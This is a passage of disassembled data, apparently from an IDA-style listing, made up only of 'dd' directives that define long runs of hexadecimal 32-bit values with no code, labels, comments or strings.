69BC6026h, 0C598C1EFh, 37E918A9h, 0B55E23BCh, 10FDD56h dd 2977E3BDh, 8F3CCB39h, 0A4C9ADA0h, 6376F94h, 92527023h dd 81ECA150h, 368C4291h, 0F5A2D3CAh, 5E78CB4Bh, 0DF4A23Fh dd 73471D3Eh, 6E77E167h, 0DFDAFBCCh, 46E5A4ECh, 8E5A6AA5h dd 0AD2F4138h, 0DB5253BBh, 3BDE8C33h, 5CF2C928h, 2DD43D8h dd 0B24B31C7h, 1AFE3777h, 8F6106ACh, 0C201DCD0h, 0FB4F15CDh dd 0E1723664h, 0C4FFB6C0h, 72C4AEB9h, 0E1F9D7F8h, 20446DF1h dd 0D1FACB10h, 997FFB83h, 92E8917Ch, 9D37601Dh, 866189D6h dd 2408DE28h, 393D51A0h, 0A59D94A4h, 0F4DCE892h, 1100F59Dh dd 1D3493FBh, 0BDCCD10Fh, 8180DB79h, 17D5AA7Ch, 838E652Eh dd 0E3EE75E0h, 83261ECh, 0FA6A1225h, 6E07A9D0h, 0EC01ECBBh dd 71C2C45Dh, 0C7A2E8Ch, 51F15DE4h, 0FD85C461h, 5F164DAh dd 0D18B44ABh, 751183B0h, 9902B507h, 0A034B27Dh, 0C0A3E8B5h dd 57E382C7h, 246962BFh, 4D1DB540h, 8F686A0Ah, 0C2CF5A86h dd 0AFF49566h, 26B2CAA3h, 0E0204319h, 0CD648661h, 8DAFBB85h dd 92DD9FB9h, 0E399473Ah, 1528A63Fh, 297C3B88h, 488009D4h dd 18DA8E5Dh, 29F2D302h, 309B93F9h, 0F9447535h, 5B8DC4AEh dd 0BD7A7007h, 0A0D76EF8h, 0A9664F16h, 0C017C387h, 9855A8h dd 26538C3Ch, 0DB6CEDB9h, 0EDDD7172h, 0B0B16291h, 77A28832h dd 0F3945ACEh, 0A3DAF77Ah, 22D976E8h, 0D9F21316h, 0BD4675A5h dd 0A2BED2F9h, 6923C328h, 0C49F25C3h, 8BD73BD6h, 5D19830h dd 0E6784B0h, 357D49D5h, 0A5C0D8D5h, 0DC966B64h, 0A3EB4901h dd 6EEC4CAFh, 0F3526BCDh, 3ECD4DEEh, 0F1A4E7C1h, 0D2018F75h dd 0AC3A291Ah, 0EFD4961Ah, 96CBDBB0h, 82A11172h, 0EF1E6DBFh dd 0CAE18696h dd 5CC7271Bh, 0C9251C3Dh, 882A2DD2h, 474CE92h, 0F883838Eh dd 2F5FF152h, 0D462AE04h, 6B684D91h, 2739A765h, 9203F96Eh dd 3C30C4DBh, 5D599970h, 0DA179AC3h, 9F75B28Ah, 0C57F6D51h dd 0DF1B3AB2h, 0CADBB2A9h, 0CC29A946h, 0DC97B80Fh, 3742A114h dd 0C69B5087h, 0E94CE64Bh, 0D433BD29h, 0E2DF54E1h, 0E626C804h dd 0A51ED65Bh, 1700F3B6h, 2CA1255h, 280B8570h, 25BB9B44h dd 0BFEC36E5h, 60AA423Bh, 230B5759h, 9C4B0F3Dh, 2E1470ACh dd 0AEBFD0B4h, 188651D8h, 0ECFF4376h, 71ED12Eh, 0F4EE0730h dd 0B2628025h, 0A506B335h, 9301F08Eh, 92033937h, 0DBB35E56h dd 42824218h, 19ED4491h, 407DF366h, 9066139Dh, 28BBDFFFh dd 5110451h, 5EAE6732h, 0E4E1AA9Eh, 370933DDh, 0EDAED5C0h dd 80E47E69h, 0D35CEBB8h, 1D5418E7h, 0B0486415h, 5D6BD67Fh dd 8A160F75h, 0C53324C8h, 0D0169201h, 31DF8307h, 4C4A5C5Ch dd 2564F923h, 6516577h, 8E09EF6Bh, 0C15975D2h, 5B7F7251h dd 0B9137D0Bh, 0E5FE0367h, 17F6EEDFh, 6555B2E1h, 0B39C4934h dd 88565C39h, 4E98AE5Bh, 0A41EACA9h, 11DA1024h, 9F643A11h dd 4E90FD7h, 3B1EF178h, 676D7ABEh, 3F21E427h, 55DF59F8h dd 0C3C213C5h, 0D7E6390Ah, 0BE20139Bh, 86840786h, 0D239B801h dd 0F765AD8Dh, 87544025h, 7F8C0A75h, 54469B35h, 0EA058050h dd 0F5EB72BFh, 538B31FBh, 0DFCF85AFh, 3358E0B1h, 94F8CD0Eh dd 18FC814Ch, 7F5BE5B6h, 72B33C3Fh, 8A660087h, 0B839DF6Fh dd 2849E4Fh, 56B460BAh, 0C7BC22EEh, 0BE8F3F45h, 0D26513DAh dd 0D07D06EDh, 84924986h, 0C5F2097Dh, 508C58FFh, 36E5648Ch dd 4D03775h, 0C9419A22h, 898A191Bh, 4457C146h, 0EAC2B4EAh dd 647AA56Ch, 0C9BD85DEh, 0F4AB6F8Fh, 0DD0F5AE4h, 59B5A2D7h dd 8B242F8h, 8152CE1Bh, 7FA5FC09h, 64C02C3Fh, 440BD59Ch dd 62F2750Ch, 0EB814915h, 0C42C609h, 9EDF27C2h, 0DE5B1AFh dd 9475B9F5h, 0B034DF0Fh, 37DA6h, 7B45F7C8h, 235892ACh dd 94F435A4h, 0B7BD5DF1h, 0CE51C690h, 4758C4C2h, 3745233Dh dd 6F216930h, 242864C4h, 93858F7h, 24ECEE78h, 28FD18EEh dd 6A2CE268h, 56334E17h, 0E9C91CD6h, 0D20CAC57h, 0F923EDDAh dd 0AE129ADEh, 0E873A9D2h, 86727C7Bh, 54A2827Eh, 8924CA33h dd 8956BFEFh, 0C8DFC56Bh, 0D0EA2A85h, 48A8F1A7h, 7661478Ch dd 0E55DC60Ah, 895B93A2h, 0F86DE76Eh, 4FFF2462h, 0E03723BCh dd 0C927EEE4h, 1E5F58AEh, 719E6738h, 5678AC6Fh, 6B6B1440h dd 257DAAAEh, 0F5BCC97Fh, 0B271C41Eh, 7727C69Ch, 0E6361F98h dd 5F3DE4DEh, 0C7C27C5Dh, 9C763391h, 89295AE1h, 0FCB326FBh dd 648526C2h, 332C6797h, 9CB3053Ch, 0F960EC5Dh, 41E58DE1h dd 507F84DEh, 8524098Ch, 62198653h, 0FCF5209Bh, 6AAE7E68h dd 60F1C696h, 0FF0CB753h, 737CC615h, 1B492A4Dh, 0B6FDD0FCh dd 78C70307h, 0BAE4031h, 0B2B69F59h, 3CFFD761h, 8D44A98h dd 10C8DE85h, 32B809Dh, 6480B214h, 0CFE14FABh, 172C10C2h dd 0A15645Bh, 6724E7B8h, 0FCBCC6DCh, 0C402D4FFh, 9E23B83Fh dd 0BD4805E1h, 9946FA57h, 4FDCC083h, 748211CBh, 0BF6D8673h dd 3FCC466Bh, 2C96C41Ah, 0E41F95Eh, 0D468104Eh, 2A6BAB78h dd 0B7D827ABh, 9433CED7h, 0F606DA3h, 0E44A3218h, 4E803A87h dd 65C33BC1h, 0DE699BE5h, 0DC7DA917h, 0EC5F6FEFh, 0F0249B5Fh dd 4EA1B786h, 46C67CCAh, 1EA0EE5Ah, 0E322E8EDh, 0D7FC8A5Eh dd 59F2FC20h, 1121C7C9h, 1B9870ACh, 0AB5370CFh, 224C23D3h dd 9F6C7D78h, 86ADA35Dh, 0D1928BC3h, 33BFD092h, 0C88B2A5Dh dd 0DC2887E8h, 0E3EF4CAh, 0EFB5C421h, 0EFC5EF83h, 66A4C7A7h dd 0A66045C5h, 52301445h, 92492FEAh, 68CA4767h, 1237721h dd 0E18CE38Dh, 60CDFA76h, 0FFCA829Dh, 794D5D1Bh, 3EF287E3h dd 8CC4EE3Eh, 8E6F72F3h, 0B89FF3D4h, 0DAA019A5h, 2AA448DEh dd 7D58C8EFh, 56AC8167h, 87880B41h, 2DFDF9BAh, 0F403E298h dd 8D2C3529h, 0C2BFA819h, 8DA327CBh, 69F27C8Bh, 4214460Fh dd 0D8A92EE8h, 7380A487h, 5DA65CE4h, 835F7266h, 3F27E5F0h dd 9B24C7D6h, 8C983FBh, 4E2647E6h, 0C64C8741h, 0B6DE9628h dd 45B068AFh, 17C3963Ah, 8ACDF629h, 0D1976A6Ah, 1629E5A3h dd 5A86BD7Ch, 7C85DA97h, 7997D187h, 70BC0A28h, 21F36385h dd 2F6392EDh, 1D3CA969h, 86290959h, 0CC34EF2Bh, 6CA14539h dd 7968E656h, 0FE50BEA8h, 0B458D94Ah, 55101A3Ah, 4CE10441h dd 96166EB7h, 9837763Ch, 0E776FE01h, 0C0B3287h, 4B82A59Ch dd 9667B2h, 6FA91605h, 0EAC4C0FBh, 0E259D27Fh, 0D8A5079Dh dd 29C9995h, 0D52F1275h, 5947C8F3h, 0A8E7791h, 0B8FD38A1h dd 37E32C4Ch, 1DFE93C5h, 53DE3A14h, 504B4AC1h, 0BA67AEDAh dd 0DC8C2126h, 0FFA230B0h, 8F746ED4h, 0AFB3DF9Ah, 0F083A2B7h dd 7EA60C05h, 46BC0250h, 33EAA435h, 3972B59Dh, 38C2D7Dh dd 335C3F26h, 6CD5F434h, 0EA9E9ACAh, 0FB260992h, 0D07EC9D9h dd 8C1B0438h, 0ACE7B1E6h, 34B388C9h, 2EAAB597h, 90E68933h dd 724B9D26h, 624F069Bh, 17195C0Bh, 4308C930h, 3E990D3h dd 73622EBBh, 0C2003E30h, 0E164C22Fh, 0A4B97E86h, 60AB622Eh dd 5404BE4Eh, 0B464E312h, 62916BA9h, 875E714Fh, 9303C7A0h dd 0B68E4718h, 31FDDF70h, 6DABF384h, 6F3CD82Eh, 0F909968Fh dd 1C3D8664h, 9397484h, 4BC2027Ah, 14A4F2A1h, 0BED0B218h dd 0ED90CC29h, 423FA62Fh, 0E6ED3B1Bh, 0D24E95F7h, 2F90204Ah dd 6C881D5Fh, 5188ACBAh, 0A5BEA4C5h, 798DD0DFh, 2D5AEAA7h dd 5FBFEFBAh, 2CB40019h, 30EF6D3Bh, 8C44C3B1h, 1E0F76E1h dd 89AF7BA8h, 0B991A7E2h, 399983Eh, 73BBCC3Ah, 0E6528E07h dd 0F71F5F5Fh, 0D0EA8041h, 0C77FB281h, 0F9BAE892h, 6D48878Eh dd 0A4A4D78Dh, 45BEAEC5h, 10AFF3FBh, 3224BFA5h, 68329E3Bh dd 31E575A2h, 0ECC8AD4Dh, 386CED64h, 5FAEEE2Ch, 5FF9E5A2h dd 40A699F1h, 9C5154C7h, 200FD230h, 2CAEB77Dh, 22172C43h dd 0C9C275D3h, 0D51AB04Eh, 7533557Ch, 0D92B04C5h, 1EA0587Eh dd 0C7E82FC2h, 178A4088h, 0CDD15A48h, 0AC72982Ch, 5F2F38C5h dd 75179E0Fh, 387D1EB8h, 0D93C32E8h, 84E840A7h, 1EBE891Ah dd 1210E942h, 3F4EBCFEh, 6CA361AEh, 4EA052BAh, 0D1CEC670h dd 2EFFBB5Fh, 0DA029878h, 9DDF21F3h, 0B0A9E1B7h, 4A4920F7h dd 0E2F3A78Ch, 4EAD54DAh, 0A766489Ah, 0FB039776h, 71CA6F37h dd 0C3397B77h, 0A268E39Dh, 0E6F23EA1h, 363C6F95h, 4F93C7EDh dd 0B9045D19h, 4A72D47Ah, 59344F44h, 8FF7461Ah, 38CE919Dh dd 0EFCD014Ah, 3808FCB2h, 5F55453Bh, 0DE5C38DDh, 6711FB32h dd 8900CB4h, 0BC6C0635h, 0F4584BBFh, 22A3340Ch, 0C1FB617Dh dd 0D9E812FBh, 0F0C5582Ah, 88D99F85h, 0A4A8E128h, 35935899h dd 0E3EF18D0h, 715AB23Fh, 92C9C3Bh, 9820E856h, 5C1166F9h dd 7D1B21A1h, 0A2B8C2DFh, 0CD0E6E5Fh, 5BDEE250h, 0DBF375ACh dd 3CCBEF3Eh, 809A2A84h, 0A28E819Dh, 779F3D2h, 9704AB1Bh dd 93733C2Fh, 50F8850Dh, 9AB91588h, 0A22971B2h, 8A48A3BAh dd 18705BA4h, 4BE570DDh, 15BD8F9Eh, 4B02D34Fh, 0FA2652E6h dd 127D4032h, 1BEE80CFh, 0D77798DCh, 0DFB53BF0h, 0BBA266B5h dd 9722F345h, 0A535C676h, 8323E585h, 849DAD70h, 7E59E3CDh dd 0D7FF1FA6h, 474ABEA6h, 50FD37FEh, 84259F92h, 7BCC7B33h dd 47831077h, 804CD442h dd 41BB7F22h, 0C499736Ch, 0A1A8893Dh, 27B663F3h, 5A21DB21h dd 0EAFD8EFBh, 8B2F4A3Eh, 0D572AE6h, 158C652Dh, 0C7097458h dd 0C8DE5CD1h, 472D5D76h, 0F0FEDC49h, 0BBF427C4h, 6819510Eh dd 3911B863h, 41014A1Bh, 169C15Eh, 80B09E8Fh, 0DF4111B9h dd 0B160168h, 5D816B3Fh, 386E2789h, 66155E90h, 58D25EDFh dd 77A1BB71h, 4D47BCB5h, 45CCFFD0h, 7266B2C6h, 0C4575A71h dd 0B844550Ch, 0CE6877FEh, 6820940Ah, 0BC524A5Ah, 2731E1E7h dd 97706836h, 0F5ADC1D6h, 0F43DD19h, 5F7EDD04h, 0B84BC311h dd 0EE27ED5Fh, 0F9446C1Ch, 70071988h, 0CDCBFD46h, 0EC47705Ah dd 5457FC11h, 0D2D634D1h, 5D7E1D71h, 728A85CFh, 9641DF15h dd 421238B7h, 65439899h, 9B377D78h, 7A5EED9Dh, 0B5057B1Ah dd 97D91697h, 56B9157Dh, 17A775ABh, 7965CBC6h, 0CF44008Dh dd 23ADB37Fh, 0EB3C5894h, 7A57464Bh, 9A13FF9h, 0D9703ED3h dd 7830CB2Bh, 0A4E32DCDh, 4E4900Ah, 6199DB0Eh, 28E248DAh dd 973FEE72h, 6FCDE47Ah, 407FD05Bh, 0C8B8FF39h, 655C794Bh dd 1F2F5F04h, 5CD03DFCh, 0D45FA159h, 0DF8EB0E6h, 95E396CBh dd 2329852h, 3F9B0159h, 0C800C190h, 95F4CFEh, 0B1913B8Ah dd 0A59E71AFh, 1E14137Eh, 0B6C3592Fh, 8999E350h, 37A90A6Fh dd 7D9EA3F6h, 0CEF0775Fh, 7AC74B94h, 44CC024Bh, 0A9243FC1h dd 0C65CD03Ah, 79CE5E67h, 1F4313FFh, 0E9440653h, 0B2B62DCAh dd 4177AC11h, 2D9DECE3h, 2657B731h, 1751B27Bh, 0D39DDC1Ah dd 34100938h, 8D1E8200h, 7DF33374h, 1FC3F797h, 3B861E77h dd 8641D74Ah, 23954BA6h, 86EBCE53h, 0CB1AD307h, 1E49FAF4h dd 0BBF053C5h, 9FE08A7Dh, 75535D93h, 2E022B89h, 7B867146h dd 88F8F09h, 293B3F13h, 0CB72242Eh, 6585D8BCh, 57A4CABBh dd 0BE45C7C2h, 0B77BFE69h, 0F9559D5Dh, 5A4A8734h, 0D489C644h dd 3632E1EEh, 2630F2DBh, 0C4358B26h, 60F5C2BAh, 9C7EE844h dd 0C3DB28F7h, 31B29552h, 7452DA49h, 0AF2B4A53h, 170CCE28h dd 8B5692D9h, 6890A229h, 668E62C3h, 70D2DEE1h, 783615BCh dd 0BCEDFBAh, 7DACE41Ch, 0C213D33Ah, 0E3EFEE19h, 5FAC18DBh dd 0DC94A2D5h, 0FE0E9E56h, 6E4ED957h, 0EC029CF8h, 0B8E8C757h dd 0BECA6EADh, 0E28C6B2Eh, 5B61C84Fh, 491A33A3h, 0ADC709BAh dd 0E151A973h, 0BBC93D50h, 44B1CCF8h, 44342FEEh, 42A36EDAh dd 3F2FAAE7h, 0ABBE37C6h, 0F8A37F25h, 0C7142041h, 7E9643B5h dd 8712A7E0h, 9387520Ah, 487D8848h, 58B77658h, 0D08FD476h dd 1C14DBCh, 39BD4657h, 3082142Dh, 1D9672F5h, 2BA8332Ch dd 46A81883h, 0B0B64C2Dh, 3EF79EE0h, 100BD18Eh, 29FE9555h dd 43035148h, 60762442h, 0BD06FCEBh, 730E5800h, 7838CB89h dd 62180AFEh, 3BF36BD3h, 0BEB44F51h, 3FAE4AD2h, 735C675h dd 78387773h, 0F3B12001h, 0C6A8BBB7h, 73010913h, 0F83AA3BEh dd 179C7636h, 0F3A07117h, 1FCA46EEh, 0ECCF2262h, 8CDFB669h dd 8AB27C8Eh, 9A577FD1h, 9B7E2BDEh, 1EE2A22Fh, 92108551h dd 5EFCDC4Fh, 0F0340549h, 349CFB1Bh, 899699D5h, 0FE904620h dd 2DFAD8C4h, 0B674EF19h, 479F631Dh, 0EA96170h, 4620C47Ah dd 0D5CE9DF6h, 317842E2h, 5CD24E7Eh, 8805CB9Ch, 0B111FD9Fh dd 5A9D9BA8h, 2646929h, 0E228A639h, 26EE8241h, 0CD828FCEh dd 800A68D0h, 56CA8FB1h, 36D3D88Bh, 0CFD3A34Eh, 0AC2E6715h dd 0FB3DA58Eh, 0F230012Eh, 941C425Dh, 0EA624562h, 0CB6E5B14h dd 0BDC3FE40h, 36EC40D8h, 35130708h, 9E08F35Ch, 29487A3h dd 1AD759DCh, 0D357C445h, 2EE5B2B0h, 1233566Bh, 9426953Fh dd 0F6FD09D0h, 80647EB0h, 46DF2521h, 0F66870B3h, 5F0B278Bh dd 2D9D12ADh, 250342A3h, 8FF59EA7h, 0F3D4CB0Dh, 5E31B201h dd 70A2FE52h, 72F368AFh, 33D0F723h, 0F2E8B6E3h, 0B3D66C8h dd 0F4766316h, 72AD70AFh, 271B2643h, 6DD146DAh, 0C3349056h dd 8695F628h, 0EB78F727h, 0E0112387h, 4EC08436h, 0C05FB885h dd 0DE829A24h, 2E5C8186h, 0A114B4DDh, 0BD005B4Eh, 5B576F06h dd 0C7C93A21h, 584A2541h, 0A38AB7B0h, 9080342Bh, 27E39953h dd 47B9EF16h, 7CF2494Ah, 3B30A24Bh, 0DB8A33AFh, 0E1BF7429h dd 201C372Ch, 1E134A25h, 5D7BC4FCh, 0FDDEBC1Bh, 753BD5Dh dd 36D075F0h, 0E0D20B2Ah, 0C44482B3h, 10E157B3h, 0E1C68345h dd 349853CAh, 23DA5F6Dh, 0F91DF731h, 27DD27C0h, 98192EDh dd 0EAEE9BCEh, 0B2A7212Fh, 61906D17h, 0B42C0047h, 13194264h dd 324038E2h, 5693CB6Dh, 0CC161D35h, 0E84F75FEh, 875D6F9h dd 0FCBE3C3Ch, 62A22CE7h, 8C20207Ah, 87A19ADCh, 225B8A0Bh dd 89FF2675h, 580B0A2Bh, 0B0BEC617h, 8F10CCBEh, 71C138BFh dd 70DB229Ch, 85BF7C53h, 47F3FB64h, 0E7EDE80Ch, 609BF051h dd 8AE2089h, 68E4D7Ah, 0A1345286h, 8F0CE831h, 10F066B2h dd 3610AF7h, 1803A498h, 2048DC2Eh, 0E11166B2h, 0C228B01Eh dd 11A9834Bh, 0C829B399h, 33966674h, 0BB81E1D7h, 14913A8Bh dd 0C0014B60h, 72CDED6h, 0ACC62CD0h, 48D17D15h, 508DBB3Ah dd 150B0E24h, 957F09EBh, 0A9079BC4h, 2283A3CDh, 73AE21DEh dd 42F82DB6h, 15FCA61h, 0D3E6584Ah, 0EA946FEBh, 0F550C0F9h dd 8DCE5335h, 5FFC1E37h, 0ABB4BA4Dh, 75A541B3h, 0C6BA8CC9h dd 18F41E62h, 0CA4B741h, 3288DE02h, 5DDD9AFEh, 0E422F4BCh dd 0A9B2FB11h, 0DFA3AC49h, 0D3D96921h, 0E122A445h, 6E3FC3D7h dd 930FD458h, 2C7A87DAh, 2B971DBAh, 0F07FA615h, 39D15423h dd 484BF489h, 0B415DC88h, 0BE31D313h, 7884F590h, 20153B79h dd 925B117Bh, 47B73D46h, 0D8CB57C0h, 0EEA714F7h, 153873BFh dd 4F38C0D9h, 4697FBFAh, 4F26CD5Ch, 0CBF4A97Bh, 4155B117h dd 8DD1A45Ah, 0CC5EC9E3h, 0E6DE243Ch, 0DB7EA751h, 0C17460C4h dd 0B0BD22C4h, 0BAB28357h, 141C4D63h, 0D756F0D5h, 0F4EA7406h dd 0A170B333h, 9BE6505Bh, 7B8EA209h, 77ED37E9h, 98443098h dd 0E84A9695h, 37806DE3h, 48BF4EE4h, 717F1362h, 3F5D826Ah dd 3A0DF5F0h, 1692AFA1h, 0B41B3E25h, 802BA9BFh, 0E127407Dh dd 1182A5E3h, 37DA9A5Eh, 522F8EA8h, 29A395B8h, 0C37009E2h dd 0B0F34254h, 0BE722C91h, 7B208078h, 29DCD255h, 5C11479Eh dd 60087FA5h, 0E399A496h, 0A74FDCABh, 4A17F59h, 102A0AEAh dd 0CB4C6BD9h, 45992621h, 60152F88h, 0C56613A2h, 1608F6CBh dd 9B8EEA50h, 0FF74F3B5h, 438E73B2h, 0D9FB9998h, 0D2826C9Fh dd 0CB20EF00h, 0B9CAC35Bh, 0C1DAEED0h, 0D5C582Fh, 316548A3h dd 0C5096C93h, 1CF639A1h, 4F7127D1h, 0A30D345h, 536AD313h dd 92FC45AFh, 4D87D1EBh, 0E2AFA082h, 83502B3Ah, 4DC5B225h dd 0B2FC7ED0h, 9302920Dh, 0E0D8D2A0h, 3D09F3EBh, 371A9A22h dd 7E760461h, 9B65E3B6h, 0E5504000h, 0C3F115B9h, 23B742B6h dd 248D3DB8h, 933BEB43h, 0F3E0F572h, 0A00687ACh, 6DF0268Ch dd 65DB8D25h, 303BA1F1h, 0B9210D26h, 2257EF34h, 8C451191h dd 59C5A9F7h, 6034C6Eh, 4EE382A1h, 8D86EA34h, 2FA43904h dd 540EBAB5h, 6BF2C615h, 0B5912687h, 32FFACEEh, 5DD9525Bh dd 0FFDAB52Ch, 0EF8D0BD5h, 343E3C87h, 3D819AF2h, 0E8FCE7D5h dd 701DA698h, 60CC9F8h, 0AABFE9E4h, 7BB7730Eh, 597BFDA1h dd 294E00Fh, 0F108ADACh, 0C8137B2Fh, 0AEED24F8h, 0EE95F00Bh dd 9AD19643h, 0E8CF871h, 7508B40Ah, 629DDA59h, 1794BEDh dd 0CE44F9BFh, 0E07A1432h dd 2D6025FDh, 73A3016Ch, 38D4A542h, 30CD65D2h, 8BA1915Dh dd 8A855F9Fh, 44A27EA6h, 178A62FAh, 97D9E1E1h, 0C2C51A31h dd 8AE24F16h, 0B2E9436Dh, 0C0041055h, 0EF94F2E8h, 0ACD3382Ah dd 0DE418DBFh, 7B90F4BDh, 2BB47C9Fh, 0CB5C7FCDh, 396864C0h dd 0CA77FBB0h, 4783908Ah, 1D2F9D3Bh, 9B5B4D51h, 0A9A053C3h dd 88653A45h, 263A14Ah, 555A0BDDh, 2AFFA91h, 65681591h dd 42ED513Bh, 9CC6F79Dh, 1F0DE1DFh, 742CA91Ch, 60F65261h dd 92558EA4h, 0F9AF4B0Dh, 0FC2FEA5Bh, 88DC34ABh, 0CE6DAC98h dd 0CC50DF2Ch, 0C5A12A76h, 0EDC4E923h, 1A563123h, 46908255h dd 0C500E304h, 0CC479F9Bh, 970C566Ch, 895D0EA7h, 0BD3DA6FEh dd 671A585Dh, 838B4673h, 3C32F88Ch, 0E8A73FF0h, 412878A6h dd 0B3208484h, 0DC071D4Dh, 0D28C033Ah, 0FB9414D0h, 2A23114Eh dd 3383060Fh, 0C8C97A29h, 4A948652h, 691A3FE6h, 2021C0F1h dd 14554EAAh, 3DBC0881h, 2F223E4Ah, 7351A54Eh, 15BA3DC0h dd 96CFB29Fh, 0A5412FAh, 0B2F4CC27h, 0BD1DB239h, 889339CBh dd 7D2145E8h, 0F21CFC3Fh, 2B4DB04Fh, 0F6F3D08Eh, 0F690A98Bh dd 8CD083DDh, 0A61915FCh, 673960A9h, 33F6613h, 882382B8h dd 0DEF31792h, 2A757630h, 15FCEF34h, 0D4AE6DC0h, 80243AFEh dd 0BE7E3B0h, 0AECFF21Fh, 0F2CA1F91h, 5FFE22E1h, 34CB7867h dd 72A8EE24h, 0CE64E8BDh, 81499C7Dh, 0D5230DC5h, 53C0180Fh dd 335D58DBh, 0BEB61D09h, 888987A6h, 43D65E17h, 0E32CBD3Fh dd 8F1B2BC9h, 0AD19A49Ch, 0E5F1C221h, 5DA88C40h, 8B678D02h dd 235DA8A6h, 0F22842EBh, 64690509h, 0A5DC8A3Ch, 2A5EA56Bh dd 0EE7232C6h, 2A74D2B3h, 2D623F78h, 178E82D6h, 3C8BB716h dd 0B40D55F7h, 2142BF98h, 90355CF1h, 204CFF20h, 0A9F4BEF0h dd 1ADFC763h, 0D44C24DDh, 7B81BE84h, 8E176CA8h, 0E5148787h dd 46846CC2h, 0C416D245h, 5212519Ah, 0A3A68797h, 45BE5EB4h dd 0FD7CB9B6h, 37CC66C1h, 785EA57Bh, 8AC5913Ah, 7ED94B92h dd 0DCE75268h, 0F11FE468h, 0C32C242Eh, 48F06793h, 0DD5F1109h dd 0A57E640Bh, 6FC428FBh, 8503092Bh, 914B1326h, 4FB3E161h dd 3534AC5Dh, 68490B58h, 0AEE2081Ah, 0A7FFB1E2h, 60A64695h dd 54A2ECE4h, 0C7E3CFF3h, 927DBAAh, 26E76A4Dh, 0D80E8958h dd 88756362h, 0E98D92FEh, 946AA638h, 5BA8497h, 0FE699147h dd 0F75E2865h, 86A6C61Ah, 0ED95DEC7h, 86A05B7Dh, 3C8F6C24h dd 3012F44h, 0B27CD748h, 0DAF9ECC3h, 9B45F2ECh, 36AF1BD7h dd 9B05DDCDh, 6EA641D1h, 383BE043h, 0F9E27951h, 0D1D529D4h dd 0F6ABA4D2h, 0DA60BB97h, 53F6F7D8h, 0BE4EFB78h, 1D01FFAFh dd 0F33D3699h, 0B5308307h, 6EB50E89h, 45E88BC6h, 0D93B9BBEh dd 21340E5Dh, 6C28A539h, 0C48BBD33h, 0E2FDAAE7h, 0AA8650E6h dd 9081090Ch, 8FF0665Fh, 93756DFEh, 12770D00h, 1E02DEADh dd 37E0456Dh, 4140314Fh, 75550ADBh, 5A83FF6Ch, 34C514A3h dd 2462149Dh, 0CF85C223h, 0EB9FE612h, 0FD4456BBh, 0A877E096h dd 1E92814Fh, 6D721168h, 359A0FD2h, 8310091Fh, 43849889h dd 13E23E50h, 0ABDACF5Ah, 0D8E41884h, 0FC8C2843h, 947C5E29h dd 0D726936Eh, 0C1E81FC6h, 32CFF419h, 32394EEBh, 0F369AFE2h dd 354DAA38h, 2D5BF4C9h, 672EE374h, 85118312h, 0AD08F57Ch dd 0AD74FB06h, 70051BA6h, 0A90CC768h, 8E1F76Bh, 86464D1Bh dd 1EB97228h, 0EA24AF28h, 13AED19Fh, 911E164h, 8C7FAB3Ch dd 0D3384E8Ah, 0D58AF9F6h, 47869E4Ah, 0A504306Fh, 1E92AEC2h dd 0CE1C5D43h, 0A7A629CFh, 0C3ADA520h, 0C3E3767Bh, 88A0C84Eh dd 0CE5C4902h, 0A26356D6h, 2CE55EA8h, 0A3406A5Fh, 7E4C75FDh dd 4FD596FAh, 7758FC06h, 0D638446h, 98DFE3D8h, 1DF951F2h dd 0F2EEC214h, 5295EA72h, 0AEA0405Ah, 3D89A1A7h, 0F74324BEh dd 0CC597FFDh, 0A453CF4Ah, 0A5CFA601h, 61B5B95Dh, 4BF8830h dd 0EC74960Fh, 89737292h, 97BF6B76h, 8C20812Dh, 0EE057876h dd 0E645CCFh, 6496273Ch, 0F0926F62h, 14BBB346h, 0D3434ECDh dd 7D9520A1h, 0A8CBC7D2h, 829BCF44h, 0F6FDE25Dh, 0A3B8831Ch dd 6BB238D7h, 1CC94FA0h, 92FED75Dh, 3DCAF38h, 74F47937h dd 9671047Bh, 1E02431Ch, 0A2EC05D1h, 9E86C918h, 0F849E0A4h dd 8091972Ah, 43486132h, 0E8151440h, 0B8B87216h, 0DE46CB42h dd 7E85527Ah, 0B9A19A81h, 958D9F82h, 3AA25C98h, 0F0FF958Ah dd 0E7972BB1h, 0A4797CE4h, 0A128CA4Bh, 0E1E0D6FAh, 4D100F7Bh dd 0EE2C3D49h, 0EDD0481Ah, 468E5E30h, 0EA62AD8Fh, 4486E611h dd 5FCB11BEh, 0F2408484h, 0A14C6F38h, 291DB42Eh, 583EA7B9h dd 4D554FFAh, 653EA981h, 0A29819C6h, 0EBC1F9h, 73CE47A0h dd 0B1158D51h, 7CC2979Bh, 3F528866h, 9C084461h, 1952374Fh dd 77947109h, 858502B7h, 4335B4A9h, 2E04C3B0h, 5CAB6558h dd 0D4530E9Ah, 6D851AA0h, 11E0B33Ah, 7FFCFB6Ch, 14E761Bh dd 0BEDC12FFh, 0F69DD4FEh, 0FA55458Fh, 9989F868h, 8E1C2DC7h dd 21DAD270h, 0EEE15C5Dh, 0D5674527h, 960F2B4Dh, 0D16A1C41h dd 5C72C7CCh, 0EFD03059h, 3059FF76h, 6AB1D13Eh, 99F0370Eh dd 7364A31Ch, 0D84C1C1Bh, 4EA03667h, 0D748F835h, 4CBEEC97h dd 0EFA964DAh, 9E22FEECh, 8E66501Eh, 0FC28DB06h, 0DC3004EEh dd 0E20E9B1Bh, 0E05B87B1h, 0B46C2C8h, 0C85EFA78h, 0C280D1DCh dd 1A72D29Fh, 767F7155h, 6975967Dh, 0E9CC88CFh, 0CA2F5197h dd 0CF19C278h, 0F13F514Fh, 56E97AFAh, 3E9059E9h, 21593E12h dd 0DA7E321Ah, 4826DDD5h, 0BB4ACAB6h, 0ED5DECB8h, 0F9631DC5h dd 8ED30309h, 0B9655F22h, 647F405Fh, 0A9816029h, 6025FC5Dh dd 4AFE444Fh, 807C30A2h, 0DD3CF461h, 698FAC14h, 79422A2h dd 6D562AD8h, 0BE9768D0h, 1B5C6161h, 0C4370929h, 78C1B743h dd 0E169E33Bh, 0FB6EB6E1h, 0F90E2BCAh, 0BF4EDF98h, 0F40B0947h dd 5FDAF3C2h, 0ED916644h, 5B90FFCAh, 823D1335h, 3F35B237h dd 0A49C73DFh, 39846A88h, 27469A77h, 54972AB1h, 8D075536h dd 0A5EFF9E0h, 1B75D732h, 0DC27EAD0h, 0CB33546h, 0C89EC1B5h dd 4A61A021h, 6960E27h, 4B1CD396h, 4AA1418Bh, 662E9241h dd 0B52E0BFCh, 40094909h, 752D992Ch, 0D611D559h, 0DC76D1E3h dd 5473EFC6h, 59B6EEACh, 0AF753CA3h, 9C0839A1h, 0FBE378C4h dd 50C07CB1h, 778FC8EBh, 2EA7F482h, 9EE2BCE3h, 59C9DC0h dd 0AC5C5358h, 